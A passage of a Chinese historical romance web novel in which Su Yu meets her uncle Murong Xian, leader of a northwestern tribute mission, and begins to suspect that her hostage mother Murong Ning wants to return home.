苏钰愣在当场,下意识看着谢无衣说,“你这是去接南魏的使团?” 薛雨梓跟她说过,只是没想到会这么巧。 她来接西北的使团,谢无衣出京去接南魏的使团。 城门遇上,还真是巧。 “是。”谢无衣说着,“原来你知道我要出京。” “听说了。”苏钰说着。 说完,两人都沉默了。 不知道说什么好,似有很多话要说,却又什么都说不出口。 相看无言,苏钰从来没想过,她和谢无衣能如此沉默。 好一会,苏钰笑着说,“那就不耽搁你了。” 谢无衣定定看着她,放开紧攥着的缰绳,策马离开。 第142章 第 142 章 城门口的位置,人…… 城门口的位置, 人来人往,谢无衣一行人依然是最显眼的。 队伍走的并不快,从苏钰面前路过,穿过城门, 队伍的速度并没有变化, 却一点点的远去, 最后连背影都看不到。 苏钰深吸口气, 收回思绪。 知道谢无衣是笔友后,偶尔的时候也会胡思乱想。 要是她早点知道…… 至少两人关系不会那么差, 两年通信,她与谢无衣确实是脾性相投。 “苏姑娘,前方小厮还没消息,可能还要许久。街上人来人往又嘈杂,姑娘不如先到对面酒楼稍坐, 等有消息了,姑娘再过来也来的及。”冯决说着。 城门口接人最磨人,弄不好一等就是一天。门口站着是等, 酒楼里坐着也一样是等。 街上人又多, 万一有不长眼的冲撞了苏钰, 反而不好了。 慕容宁早在离京城最近的驿站安排了小厮,只要看到慕容氏的车队, 就会回来报信。 到时候苏钰再从酒楼过来, 都也来的及。 苏钰也觉得如此更好,正想着要不要邀请冯决一起去酒楼。 绿川见苏钰不说话,便小声道:“姑娘,还是先去歇歇吧。” 苏钰看一眼绿川,笑着对冯决说, “冯大人一起吧。” “我现在只是王府一名护院,早己无官职在身。”冯决说着,“多谢姑娘好意,只是我还要等前头小厮来报信,就不去了。” 苏钰也不再说,带着绿川去了街口的酒楼。 因为还是早上,酒楼刚开门,几乎没有客人。 苏钰带着绿川要了视野最好的二楼包厢,先点了一堆酒水和点心,让小二做好后先给冯决一行人送去。 吩咐完小二,绿川就道:“现在就去接南魏使团,这一来一回的也不知道要多久。听说南魏的人都会巫术的,每个人都会跳大绳,也不知道真假。” 苏钰对南魏也很好奇,主要是因为罗星。 那天之后,不管是京兆尹还是建章骑营还有其他部门,以搜查要犯之名,都快把京城翻一遍了,依然没有罗星的任何消息。 据说谢无衣把南魏在京城的暗探窝点都端了,依然没有罗星的消息。 现在连南魏人,都不知道自家小主子在哪里。 不过南魏使团总是要进京的,等他们进京后,罗星肯定会现身。 既然抓不到人,那就等她自己出现在吧。 主仆两人闲聊着,眼看着快到中午。 绿川都在考虑,要不要派人回国公府一趟,让府里做了饭送过来时,就有小厮进门说着,“苏姑娘,西北使团快到城门了。” 苏钰大喜,连忙起身,“终于来了。” 从酒楼出来,冯决以及楚王府众人己经在街边站好。 苏钰走了过去,心情显得有些激动。 她对慕容弦完全没有印象,对她来说,完全是初次见面。 想到慕容宁提到慕容弦时的欲言又止,苏钰稳了稳心神。 “来了。”冯决说了一句。 苏钰抬头看去,熙熙攘攘的城门口,一支庞大的车队缓缓驶来,几十辆大车,车之上皆堆满了箱笼,好像故意显摆一样,箱笼之上摆放着各类奇珍异宝,让京城众人看到。 数百名护卫遍布在车架周围,皆是体格健壮的青年男人,身着异族服饰,腰间挂着弯刀。 车队领头之人,正是慕容弦。 三十出头的年纪,身材魁梧,宽肩窄腰,身着一袭黑色锦袍,腰间束着一条白玉腰带,更显身姿挺拔。 跨下一匹黑马,毛色乌黑发亮,四蹄生风。 眉宇之间与慕容宁有几分相似,姐姐是大美女,弟弟也是超级帅哥。 苏钰抬头看着慕容弦,心情多少有些激动。 对于这位舅舅,从来没人跟她说过,就连慕容宁都没提过。 乍然相见,可能跟慕容宁样貌太相似了,竟然并不觉得陌生。 慕容弦骑在马上,目光如炬,扫视着周围的人群。忽然,他的眼神落在了苏钰身上。 深邃的轮廓,与自己身上同出一系的服饰。 只是细看她容貌时,与苏天翊八分像的脸,慕容弦几乎是瞬间心头火起。 “苏钰?”慕容弦勒住缰绳。 苏钰拱手见礼,“苏钰见过舅舅。” 舅舅两个字让慕容弦心头的火灭了不少,他想起了慕容宁,心中涌起一股难以言表的情感。这是慕容宁唯一的骨血。 “你很好。”慕容弦说着,张望四周不见慕容宁,只以为慕容宁不愿见他,心底涌起一抹失落。 冯决上前见礼,说明情况。 听到慕容宁被禁足,慕容弦脸色极为难看。 “母亲一切都好,舅舅不用担心。”苏钰不禁说着。 慕容弦冷笑,“你是大周人,自然会向着大周朝廷说话。” 苏钰愣住了,常年居住京城,她还是第一次听到这种说词。 下意识就想说,其实她身上也有一半慕容氏的血脉。 冯决连忙上前把话题岔开,人接到了,按照接下来的安排,慕容弦一行人连带着车上的贡品,要先去驿馆安置。 慕容氏是正式归顺大周了的,但因为番邦的关系,每每有西北使臣进京,都是住在招呼外国使臣的驿馆里。 进入驿馆后,有驿馆官员把所有成员登记记录在册后发通行令牌。 有了令牌,才有了在京城四处走动的通行证。 冯决随慕容弦一众人等去了驿馆,苏钰带着绿川坐车回楚王府。 慕容弦去驿馆安置完,其他人会留在驿馆,他会去楚王府。 慕容宁在楚王府设宴,给慕容弦接风,苏钰做为外甥女自然也得在场。 “舅老爷好像不喜欢姑娘。”绿川小声说着。 苏钰看一眼绿川,神情不悦。 绿川马上意识到自己说错话了,“我知道错了,请姑娘责罚。” 苏钰依然没作声,闭目养神。 回想上次慕容宁说到慕容弦既将进京时的口吻,她就能感觉到,因为她长的太像苏天翊,慕容弦不喜欢她。 但依然没想到,慕容弦会这么不喜欢她。 苏钰坐车到了楚王府,先去见慕容宁,楚王爷在张罗宴席。 楚王爷见过慕容弦,十几年前了,那时候他还没娶慕容宁。 这是他成为姐夫后,第一次与慕容弦见面。为了示好,他就想表现一下。 下午时分,慕容弦终于在驿馆安置完,来到了楚王府。 楚王爷本想把家里人都叫上,一起去门口迎接,被慕容宁否决。 连苏钰都没带,慕容宁只身在门口等着。 十五年了,整整十五年。 慕容宁思绪翻诵间,就见冯决前头引路,身后那个熟悉的身影,眼泪顿时涌了出来。 “阿姐!” 一声呼唤,慕容弦拨开冯决,快步奔到慕容宁身边,伸手抱住她。 慕容弦身量颇高,把慕容宁都衬的娇小了。 “阿弦。” 慕容宁轻声喊着,眼泪随之涌了出来,“你长高了。” 最后一次见慕容弦,两人身量还差不多,现在竟然高了她这么多。 在她不知道的时候,她的阿弟己经长大了。 “阿姐,你受苦了。”慕容弦说着,眼中含恨,用西北话说着,“二十年了,我要带你回家。” 慕容宁听到这话,清醒过来,试图推开慕容弦,却发现慕容弦抱的太紧,让她有些动弹不得。 “阿弦,钰姐儿还在等着我们。”慕容宁说着。 慕容弦这才意识到自己的失态,放开慕容宁,擦擦眼角的泪,神情收敛起来。 慕容宁也擦了擦眼泪,“跟我进来吧。” 姐弟俩并肩进门,刚进二门院里,只见楚王爷带着楚王爷众人以及苏钰正在院中等待。 楚王爷看到慕容弦,连忙笑着迎了上去,“二弟来了,我们一家团圆了。” 这话说的多少有点不伦不类,只是楚王爷向来如此,也没人在意。 慕容弦冷着脸看向楚王爷,那神情好像在看一只臭虫。 态度不止是冷淡,根本就是嫌弃。 在旁的苏钰见状,心里竟然有一丝丝的平衡,看来慕容弦不是只厌恶她。 不过,有些没道理。 当年苏天翊抛妻弃女离开京城,慕容弦恨他是应该的。她是长的太像苏天翊被恨乌及乌。 但楚王爷对慕容宁实在没说话,更没有哪里对不起慕容宁,慕容弦对楚王爷的敌意不应该这么重。 因为厌烦大周人? 苏钰不太确定,慕容氏归服大周那么久,要是真的臣服了,应该也不需要质子了。 “酒席早就备好了,先给你接风。”慕容宁说着。 慕容弦点头,“我要暂住阿姐这里,和阿姐住一起。” 楚王爷连忙笑着道:“前头书房收拾出来了,阿弟住最合适。” “谁是你阿弟。”慕容弦脸色难看到了极点,那表情仿佛在说,凭你也配。 楚王爷脸色讪讪的,却没敢吭声。 慕容宁看着慕容弦,朝他摇摇头,却没有责备,“王爷亲自为你张罗了宴席,很是高兴你能进京来。” 慕容弦脸色似有缓和,对楚王爷说着,“劳烦王爷了。” 楚王爷连忙笑着说,“说什么劳烦,都是一家人。” 苏钰旁边看着,却觉得慕容弦的脸色会缓和,是因为慕容宁开口了,他不想她不高兴,并不是真的因此对楚王爷改观了。 第143章 第 143 章 宴席摆在后花园,…… 宴席摆在后花园, 吃吃喝喝,基本上都是慕容弦和慕容宁在说话,没提西北的事,只说这一路上的见闻。 楚王爷很想插嘴, 但插不上, 索性乐呵呵的旁听。 至于苏钰, 知道慕容弦不喜欢她, 索性当透明人。 酒过三巡,菜过五味, 酒足饭饱后散了席。 苏钰回了听雨轩,慕容宁则带着慕容弦去了住处。 按楚王爷想的,怎么也得在王府收拾一处院子给慕容弦居住。慕容宁却说没必要,把自己的书房收拾一番,给慕容弦暂住。 “这是我的书房, 你先住这里。”慕容宁说着,又指指后头,“后面是我的住所。” 一前一后, 离的非常近, 前后院门一关, 就完全独立。 丫头婆子早把屋里收拾妥当,尽量按西北的生活习惯生排的。 慕容弦对这些全不在意, 对屋里下人说着, “你们都下去,没有我的吩咐,都不准进来。” 下人全部屏退,房门关上,慕容宁刚想开口, 慕容弦却急切的再次用西北话说着,“阿姐,我一定要带回家。” 是大周抢走了他的姐姐,整整二十年,他所有的努力,所有动力皆源于此。 慕容宁轻轻叹口气,看着慕容弦,与记忆里的少年己全然不同,但出口话语,依然让她熟悉。 “隔墙有耳,这话是不能随便说的。”慕容宁也用西北话说着,径自坐了下来。 慕容弦也跟着坐下来,神情依然是激动的,“阿姐,我己经不是小孩子,我知道自己在做什么。” 慕容弦到现在还记得慕容宁离开那天,他被父亲下了药,一直躺在病床上。 他起来不床,只为了让大周的使者相信,他真的病重,无法当质子。 他只能透过门窗的缝隙,看着慕容宁上马。她神色平静,脸上甚至还带着笑容。 但他知道,慕容宁在紧张,上马的动作都是僵硬的。 慕容宁比他大五岁,也只比他大五岁。十几岁的年龄入京为质,他只是这么看看就哭的泪流满面。 那当时的慕容宁又是什么样的心情,直到现在,回想起那一天,慕容弦依然觉得无法喘息。 他要努力,不管付出什么样的代价,他都要把慕容宁接回来。 “阿弦。”慕容宁看着慕容弦,神色认真,“我入京为质,是我向父亲提起的,我是自愿的。也不只是为了你,更是为了慕容氏,你不用为此自责。” 战败归降,慕容氏自愿称臣,结束了战争,也保得全族性命,这是不得己,怪不得任何人。 为了血性,为了一口气,拼到全族死绝,没有必要。 关太后问慕容氏要质子,以保证慕容氏的忠心,也是常规操作。 一般质子都是嫡长子,该是慕容弦去。但当时的慕容弦年龄太小,入京为质九死一生。 她愿意替慕容弦去,除了姐弟情深之外,也因她年龄大些,不管是武功谋略,还是心计手段,都不是小孩子样的慕容弦可比。 这样的她,入京为质,活下来的概率更高不说,可以做的事情也更多,她愿意替慕容弦赌一回命。 事实证明,她赌赢了。 她在京城的生活很好,并没有像普通质子那样,被各种折腾侮辱。 这二十年来,有她在京城各方调节,大周对慕容氏的猜忌之心虽有,却在慢慢减少,也没再打压慕容氏。 西北得到了休养生息,苛捐杂税不至于承担不起,军备物资也得以保留。 慕容宁从来不觉得自己有多委屈,生而为人,为自己的族群辛苦奔波,本就是该为之事。 “说到底,阿姐还是为了我。”慕容弦神情越发激动,“从小到大都是如此,阿姐总是把一切?到自己身上。现在我长大了,你可以依靠我的。” 慕容宁听得笑了,有些欣慰,拍拍慕容弦的肩膀,“是啊,你长大了,以后就是我的靠山了。” 慕容弦似乎被安抚了,激动的神情平复下来,开始说正事,“阿姐,我这趟进京……” *** 因为在王府,苏钰没敢懒床,比平常还早起了一会。 因为慕容弦的到来,她要去给慕容弦请安,要一起吃早饭,不比自己屋里吃饭,早点晚点无所谓。 “大姑娘来了……” 小丫头传话。 苏钰来到慕容宁的正房,本以为自己来的够早,没想到慕容弦己经在了。 “舅舅。”苏钰规矩见礼。 慕容弦点点头,对苏钰的态度好了许多,“都长成大姑娘了,就是生的不好,你要是像你母亲些,会更好看。” 苏钰听得有些无言以对,从小到大,京城上下还没人说她长的不好。 像慕容宁当然是美人,但像苏天翊,也是美人啊。 “你就别逗她了。”慕容宁笑着说,“你舅舅跟你说笑呢。” 说着,慕容宁有些无奈的看向慕容弦。 慕容弦却不觉得哪里说错了,苏天翊长的就是丑,污染了慕容宁的血脉,苏钰长的像他,白瞎了母系的基因容貌。 苏钰只能笑着说,“我知道,舅舅向来疼我。” “难得来京,我给你带了许多东西。”慕容弦对苏钰说着,“等整理出来,会送给你。” “谢谢舅舅。”苏钰笑着说。 三人一起吃了早饭,慕容宁与慕容弦开始准备进宫事宜。 慕容弦进京是朝贺的,整理安顿好后,就得入朝拜见,这是大礼。 慕容宁虽然被禁足,但在慕容弦进京前,慕容宁就借楚王爷的口,向显庆皇帝和关太后讨了恩典,准她与慕容弦一同入朝。 显庆皇帝准了,关太后不太愿意,但也没说什么。 慕容宁与慕容弦入朝,没一整天是回不来的。 苏钰回了听雨轩,绿川赶紧迎了上来,侍侯着苏钰脱了外衣。 看看书,吃了中饭,睡了午觉,绿川上前侍侯苏钰穿衣时,小心问着,“姑娘,打算什么时候回家?” 苏钰想了想,慕容弦并不喜欢她,慕容宁也没有特别表现出让她与慕容弦亲近的意思。 她想现在就回去。 但想到慕容弦十五年才进京一回,下回还不知道什么时候,就这么回苏家也不好。 “家里也没什么事,留王府也挺好。”苏钰说着。 不管是苏家还是王府,都是闲来无事,吃喝躺平。 绿川不敢多言,好像想起什么似的,突然笑了起来,小声说着,“慕容大人好帅啊。” “那是当然。”苏钰笑着说。 慕容宁与慕容弦一脉相承的好样貌,颜值上不但帅,而且更健壮,带着一股大周男人没有的野性。 绿川好像打开了话匣子,与苏钰聊起了慕容弦。 苏钰这才想起,对慕容弦几乎是一无所知,很多信息竟然是从楚王爷那里知道的。 慕容弦早就成亲,娶了很多老婆,生了一堆孩子。楚王爷用的是一堆,具体多少个他也不清楚。 早在几年前,慕容弦就向大周提出,要用自己嫡长子换回慕容宁。 显庆皇帝觉得可行,却被关太后驳回了。 质子,有时候不在于身份,而在于当权者在意谁。 “王妃不可能会回西北吧。”绿川用不可思议的口吻说着。 苏钰愣了一下,她突然意识到,她好像没考虑过这个问题。 慕容宁是质子,但是她在大周生活了二十年,有夫有女,怎么可能还会回西北。 慕容宁会思乡,但从来没有要回去的想法,至少她没表现出来过。 但是向来凡事不管的楚王爷,竟然会知道慕容弦的情况,还知道慕容弦试图更换质子。 楚王爷是担心慕容宁回西北。 慕容宁会回去吗? 苏钰竟然有些茫然了,她从来没有想过这种可能。 毕竟父亲不在身边,母亲怎么可能会离开她。 “姑娘,我只是随口说的。”绿川赶紧说着。 苏钰好像没听到绿川说的,呆滞了好一会,摇头说着,“我也不知道。” 一直以来慕容宁是回不去,而不是不回去。 若是有机会让她回去,她会抛下京城所有一切回西北吧。 与楚王爷做夫妻,本就是不得己。 至于她这个女儿…… 绿川感觉话说重了,正欲把话题转开,就有婆子进门说,“大姑娘,薛大人来了,要见姑娘。” “薛迟?”苏钰十分意外。 按照薛迟一直以来的习惯,就是想见她,也会谨守男女之别。先写信邀约,她答应了再见面。 冒然追到楚王府找她,这不像薛迟会做的事。 转念一想,薛迟有可能不是专门来找她的,而是顺路。 “请他来我屋里。”苏钰说着。 在国公府的闺房,薛迟去过了。楚王府的闺房,也所无所谓他进来。 更重要的是,她在王府没有书房,去花厅也不合适,还不如来她屋里。 “是。”婆子应着,赶紧去了。 绿川侍侯苏钰更衣,苏钰特意整了整妆容。 片刻后,婆子引着薛迟进来,只见薛迟一身朝服,明显是刚从宫里出来,没回公主府直接来王府。 苏钰起身相迎,招呼招呼薛迟里间坐下来。 薛迟看一眼房间布局,与在苏家房舍布局类似,却少了日常生活气息,应该是很少住的关系。 “我刚从宫里出来,知道你在王府,就来看看你。”薛迟笑着说。 苏钰看到他,原本沉重的心情蓦然放松了许多,笑着说,“那真是巧了,我正想你,你就来了。” 正好,她也想问问薛迟。 第144章 第 144 章 绿川端茶上来,低…… 绿川端茶上来, 低着头,心里却紧张极了。 信丢了,只能是薛迟派人偷走的。 看完所有的信,薛迟还能没事人一样来找苏钰, 这份心机城府, 她得告诉苏钰。 薛迟招招手, 门外几个太监端着托盘进来, 上面放着兽皮,宝石, 象牙,人参等,皆十分珍贵,饶是苏钰都看的眼花缭乱。 “这是,今天进贡的……”苏钰愣住了。 不是东西过于珍贵, 而是太快。 早上慕容宁和慕容弦才入朝献上贡品,下午薛迟就把贡品送她了。 这速度,入库房清点都来不及。应该是显庆皇帝看了贡品, 就直接赏了薛迟。太后, 贵妃, 皇子都排在他后头。 “皇上赏的,我就想拿来给你。”薛迟说着。 苏钰不缺这些东西, 慕容弦上京肯定会给苏钰带一份。 但这些是他得到的, 就想送给苏钰。 “我很喜欢。”苏钰笑着说,却显得有些犹豫,“你得了赏赐,该长公主和驸马先过目的。” 儿子得了东西,父母不过目, 家都不回先给她送来,她是很高兴,但她担心晋阳长公主不高兴。 “皇上另有赏赐,这是我的。”薛迟笑着说,“这点小事,他们也不会在意。” 苏钰这才让小丫头接过托盘收了东西,笑着说, “谢谢你。” 薛迟能第一时间想到她,她很高兴。 “正好你来了,你有事想问你。”苏钰说着,却是对绿川挥挥手。 绿川会意,带着屋里的小丫头退了出去。 等房门关上了,苏钰这才神情严肃的说,“因为是你,我也就直说了。这趟我舅舅进京,是想带我母亲回西北吗?” 薛迟神情微微一滞,似是在斟酌用词,顿了一下才说,“据我所知,慕容氏每年进京,使者都会与京城官员,尤其是宫廷内官,出手非常大方。” 慕容氏每年都花大价钱贿赂官员,为的就是让慕容宁回西北。 显庆皇帝与关太后身边侍侯的更不必说,甚至显庆皇帝都被说动了,奏折都批了,却被关太后挡了回来。 为此关太后还跟显庆皇帝吵了一架。 按关太后的话说,慕容弦越是花钱,越表示他重视慕容宁。他越重视慕容宁,慕容宁就必须留在京城。 显庆皇帝却觉得,西北早己平定,慕容氏也无二心。慕容宁入京为质二十年,正常情况也该放她回去,更换新质子。 苏钰听完,沉默许久才喃喃自语说着,“母亲出任监察寮正使,杀了那么多人,就是为了回家吗……” 关太后不允慕容宁回西北,她想回去就得在显庆皇帝那里下功夫。 成为显庆皇帝的刀,杀显庆皇帝想杀的人,事情成了,天子之诺,必然会一言九鼎。 “我竟然从来没有往方面想过。”苏钰喃喃自语说着。 慕容宁出任监察寮正使,她想过各种原因,却没想过这是一场交易。 慕容宁为显庆皇帝杀人,显庆皇帝放她出京。 想到此处,苏钰心情沉重,眼泪落了下来。 这么多年来,她对慕容宁的心思竟全然不知。 慕容宁在她面前从来没有任何表现,就是偶尔思乡,也是人之常情。 十九年母女,她竟然对慕容宁一无所知。 “此事还得商议,未成定局。”薛迟见苏钰哭了,心中着急,连忙安慰她,“楚王妃早有婚配,又有你这个亲生女儿,未必想回去。” 更重要的是,慕容宁未必能回去。 显庆皇帝与慕容宁是有交易,但慕容宁并没有把事情完全办好,显庆皇帝中途改了主意。 只是被禁足,显庆皇帝不愿重罚是一部分,关太后虽然狠辣,政治头脑却是足够的。 留下活着的慕容宁可以拿捏慕容弦一辈子,真把慕容宁弄死了,慕容弦会做什么也不好说。 苏钰摇摇头,擦着眼泪,“母亲离家多年,想回去也是人之常情。我只是,只是……” 只是伤心,慕容宁从来没有对她说过,甚至连这方面的心思都不让她察觉。 要是慕容宁直言跟她说,她就是想回西北,虽然也会难过,却不会阻止。 就像苏天翊离开,她阻止不了。同样的,慕容宁离开,她也不会阻止。 每个人都首先是自己,再是别人的什么人。 为什么不告诉她呢。 “你若是不想她回去……”薛迟不禁说着。 苏钰摇摇头,对薛迟说着,“我心里很乱,想一个人……” “我陪你出去走走。”薛迟打断苏钰的话。 苏钰心里有点点高兴,却是道,“我现在这个样子出门,被人看到要被笑话的。” “那就坐在车上,不被人看到。”薛迟说着。 要不是己经下午,出城太晚,他还想带苏钰出城走走。 苏钰不禁抬头看向薛迟,薛迟也正看着她,一双黑眸专注而深情。 “好。”苏钰不自觉说着。 薛迟笑,却是站起身,“我到二门等你。” 苏钰刚哭过,肯定得先洗脸,出门也要更衣。 “嗯。”苏钰说着。 薛迟出门去,苏钰唤绿川进来,洗脸更衣。 “姑娘,一会就要吃晚饭。”绿川有些懵。 晚饭后就要掌灯,这时候出门,那岂不是晚上才回来。 苏钰道:“不用准备我的晚饭,也不用跟着我。” “那怎么能行,姑娘一个人……”绿川顿时急了。 “我们不出城,只在城里转转。”苏钰说着,又在穿衣镜前整整了外衣,“不要跟着我。” 话完,苏钰径自去了二门。 绿川紧跟着追了上来,“我还是跟着姑娘放心些。” 苏钰再次说着,“我想一个人。” 绿川跟了她这些年,姐妹一般,但今天她真的很想一个人。 有些事情,哪怕是亲姐妹都无法开口。 绿川心中焦急,但见苏钰主意己定,也不敢再说。 苏钰到二门时,马车己经准备好,薛迟也换了身衣服。朝服换成了常服,少了几分威严,却添了几分随意亲和。 楚王府在皇城范围内,与办公衙门挨的也不远,一般官员在衙门内都会放些日用品,放身衣服更正常。 “晚饭前我送你回来。”薛迟说着向苏钰伸手,欲扶她上马车。 苏钰看着薛迟伸出来的手,她从来不觉得自己上马车还需要人扶,但薛迟就这么伸出手时,她不自觉得搭上了。 薛迟的手很热,苏钰握住的一瞬间,有种灼伤的感觉。 苏钰低着头,压下狂跳的心脏,进入车厢。 薛迟也跟进来,车厢内很宽敞,装饰大气布置不俗。 两人相对而坐,薛迟说着,“我己经跟楚王爷说过,你不用担心会被责罚。” 慕容宁不在,楚王爷也是家长,告知他也是一样的。 “我竟然忘了。”苏钰这才想起来,出门前应该报备一声的,“还是你想的周到。” 薛迟笑着,给苏钰倒了杯茶,“喝口茶吧。” 刚才哭过,该多喝点茶水。 “谢谢。”苏钰倒没客气,端起茶碗喝了起来。 马车缓缓驶出,苏钰不禁问,“你要带我去哪?” 薛迟笑着说,“不去哪,我们就在车上。” “就在车上?”苏钰有些不解。 薛迟看向车窗外,神情中带着一丝怀念,“小时候我在家里呆的太烦了,就会坐在车上,任由车夫拉着去任何地方。” 在很小的时候他就知道自己的身世,都不用旁人告知,薛迟就知道他不是晋阳长公主和薛驸马的孩子。 晋阳长公主对他,和对谢无衣的态度是全然不同的。 不是对他不好,太过于客气以及尊重,就会产生的生疏感。 再尊贵的客人,都不是家人。 薛驸马见他早慧,也没再隐瞒,得知身世后,不需要薛驸马叮嘱,他就知道不能任性,更不能四处走动。 天天呆在公主府里,学文习武,不敢有丝毫松懈。 但是人就会累,尤其他当时只是个孩童。太累太憋闷时,他就像现在这样,坐在马车里任由车夫拉着在府里走动。 “那我们要是早些认识就好了,我小时候很调皮的,会偷翻公主府的墙,把你带出去玩。”苏钰笑着说。 虽然是玩笑话,但苏天翊离京前,她受尽父母宠爱,无忧无虑也无法无天。 有点像谢无衣,傲娇而别拗,想做什么就做什么,全然不顾忌。 薛迟笑着,看着眼前的苏钰,想像着她小时候的模样,“跟我讲讲你小时候的事吧。” 苏钰回想着,却是道:“跟你说了,只怕你要大失所望。” 她会练字,看书写话本,都是苏天翊离开后才做的。 父母和离,父亲离京,母亲改嫁,只剩下一个孤零零的她。 她需要转移注意力,她需要做点事情,至少不能天天沉浸在悲伤中。 薛迟摇摇头,“关于你的事,我都想知道。” 苏钰想了想,开始讲了起来,有些琐碎,前后也些不搭,她讲的却很开心。 心中的悲伤不知不觉中散了去,苏钰突然停住了,看着眼前认真聆听的薛迟。 “怎么了?”薛迟见她停下来,出声问着。 苏钰突然伸手握住薛迟,“虽然晚了一些,但认识你,我真的很高兴。” 她还记得第一次见到薛迟时,给她的安全感。 苏天翊的离开,让她的人生缺失了一块,她总觉得薛迟能补上。 第145章 第 145 章 晚饭前,马车回到…… 晚饭前, 马车回到楚王府。 哪里都没有去,只在城里转几圈,马车的速度不快不慢,两人在车上, 喝茶聊天, 主要是苏钰在说。 “谢谢你。” 车驾停下来时, 苏钰对薛迟说着。 谢谢薛迟告诉她, 也谢谢薛迟这么陪着她,让她没有那么伤心难过。 薛迟摇摇头, 有时候治愈别人也是在治愈自己,听着苏钰的诉说,幼年时的一些伤痛似乎也随之消失。 薛迟先行从车上下来,随即扶着苏钰下车。夕阳夕下,苏钰看着薛迟的脸, 有那么一瞬间想想抱抱他。 有意无意的拉着薛迟的手,苏钰正想开口说些什么,就听旁边传来两声轻咳。 是慕容宁。 慕容弦在她身侧, 两人皆是朝服, 明显是刚从宫里出来。 苏钰赶紧放开薛迟, 恭敬叫人,“母亲, 舅舅。” 慕容宁神情复杂的看一眼苏钰, 却是看向薛迟,“薛大人可是来找我阿弟的?” 苏钰不禁看向慕容宁,明白这话是在提醒她。 薛迟不是来找她谈情说爱的,而是有事来找慕容弦。 薛迟却是摇摇头,笑着说, “得知阿钰在王府,我下朝之后来看看她。时候不早了,我也该告辞了。” 慕容宁神情更复杂了,薛迟的心机手段,骗苏钰这个年龄的小女孩确实不好招架。 正想开口,就听慕容弦突然道:“早就听闻薛大人之名,正好相见,若是不弃,我想与大人一叙。” 薛迟拱手,恭敬说着:“慕容大人相邀,晚辈自当听从。” “薛大人,请。”慕容弦说着。 慕容宁向旁边管事使个眼色,管事引着慕容弦与薛迟去前书房说话。 慕容宁看向苏钰,苏钰有些心虚,低头说着,“母亲,我先回房了。” 慕容宁叹口气,有些无奈,“你想与薛迟交往,就好好交往,莫要三心二意。” 苏钰越发心虚,语气却是坚定的,“以后都不会了。” “回去歇着吧。”慕容宁说着。 “是。”苏钰应着,这才回了听雨轩。 刚进院门,绿川就急匆匆迎了出来,“姑娘总算回来了。” 苏钰不禁笑了,“我是跟薛迟出门,有什么好担心的。” 绿川道:“跟薛大人出门自是放心的,但这么晚了,奴婢是担心姑娘。” 苏钰听得笑了,知道绿川想说的,万一薛迟拐她出门过个夜,她的名声就彻底完了。 “我现在不是回来了吗,薛迟做事是有分寸的。”苏钰笑着,“王爷可有传话,晚饭是否一起吃?” 绿川道:“王妃己派人传话,说各房各吃各的。我己经让厨房准备饭,姑娘稍等,我让厨房传饭。” 小丫头们上前,侍侯着苏钰更衣洗手。 随后婆子提着食盒进来,绿川带着小丫头摆桌,苏钰心情大好,饭都多吃了一碗。 绿川旁边侍侯,给苏钰盛汤时,却笑着说,“难得姑娘这么开心,只是一会就要睡了,积了食不好睡觉。” 苏钰觉得有道理,吃了口汤就放下了,又对绿川说着,“你也去吃饭吧。” “我先侍侯姑娘,等她们吃完了换我。”绿川笑着说。 等苏钰吃完饭离开饭桌,小丫头收拾桌子的功夫,绿川这才上前说,“您出门后,大爷打发人来问,姑娘要不要回府,若是想回去了,他明天打发人来接。” 苏钰微微怔了一下,一直以来她都知道,苏略不喜欢慕容宁。 这回是难得慕容弦进京,慕容宁接她过来团圆,苏略还打发人来问,这是不止讨厌慕容宁,更不喜欢慕容弦。 “再过几天吧。”苏钰说着。 一般来说,西北使者会在京城呆一个月左右,又有北齐和南魏的使者进京,慕容弦可能会多呆半个月。 虽然慕容弦不喜欢她,但舅舅留京一个半月,她只见一面就走,也不合适。 “那我一会派个小子给大爷传话。”绿川说着。 苏钰任由绿川安排,她心情很好,晚饭吃多了,也没有睡意,索性去写书。 话本写的断断续续,她都不知道写到哪了。翻开前文细细看着,虽然是话本,写的却是她与薛迟的故事。 想到今天,心有所感,继续写了起来。虽然与前文有点接不上,管他呢,想写就写了。 奋笔疾书中,夜深了,绿川不由的劝道:“姑娘,时候不早了,明早还得早起。” 王府不是国公府,晚饭是分开吃的,但早饭是要一起吃的,迟到就不好了。 “就睡了。”苏钰说着,把最后一段写完,这才放下笔。 绿川唤来小丫头收拾书桌,自己跟着苏钰走向卧室。 床铺早己收拾好,苏钰写了许久,也觉得有些手酸。 绿川上前侍侯,给苏钰热敷双手,又笑着说,“姑娘回来后这么开心,还是薛大人会哄姑娘高兴。” 许久没见苏钰如此开心了,尤其是得知笔友就是谢无衣后,苏钰心情是纠结的。 但苏钰越是高兴,绿川心里越是害怕。 “他很好。”苏钰低头笑着,嘴角勾起一抹甜蜜的笑意。 绿川还想再问,苏钰己经迫不急待的躺到床上,“睡觉。” 绿川只得把吹了灯,睡到旁边榻上。 五天后,苏略再次派人来接苏钰,用的理由是谷夫人身体欠安,想念苏钰。 把谷夫人都搬出来了,苏略这是多着急她回去,再不回去,只怕苏略要亲自来了。 苏钰向慕容宁辞行,慕容弦一直很忙,进京朝贺可不是一天就能结束的,还有各种宴请。 慕容宁倒是很闲,主要是禁足不得出门,只有那一天特赦,其他时间还是留在王府里。 “也罢,留了你这几日,是该回去了。”慕容宁说着,语气中带着无奈。 慕容宁是她亲弟,苏钰是她亲女,她希望他们之间能多少有点血缘亲情,至少以后不要成为仇人拔刀相向。 只是…… 苏钰还不知道苏辰丢失的真相,若是知晓了,只怕连她都会恨上。 “女儿告辞。”苏钰说着,正欲转身走时。 “钰姐儿。”慕容宁突然出声叫住她。 苏钰停下来,看向慕容宁,“母亲有什么吩咐?” 慕容宁定定看着苏钰,好一会才道,“你有想过去西北看看吗?” 苏钰愣住了,眼底隐约闪过些什么,却是笑着说,“母亲的故乡,当然想去看看,只是路途遥远,也不知道有没有机会。” 慕容宁道:“我与你舅舅虽然分开二十年,他待我之心从来不曾改变,你是我唯一的女儿,回了西北就是郡主。” 在大周有太多的无奈和不得己,若是苏钰愿意跟她回西北,她会自己所有的,能给的全部都给苏钰。 苏钰看着慕容宁,极力压下心底涌起的情绪,却是笑着说,“母亲怎么突然提起这个?” 她的父亲是苏天翊,她生在苏家,长在苏家。与薛迟相爱,很快就要成亲。 更何况,连慕容弦都视她为大周人,她怎么回西北。 慕容宁好像被唤醒了,神情落寞,“没什么,突然想起来了。车驾在等着了,你去吧。” “女儿告退。”苏钰说着。 绿川早就把包袱收拾好,国公府的马车就二门等着,主仆俩人上了车,绿川多少松口气。 苏钰却有些愣神,她在想慕容宁对她说的话。 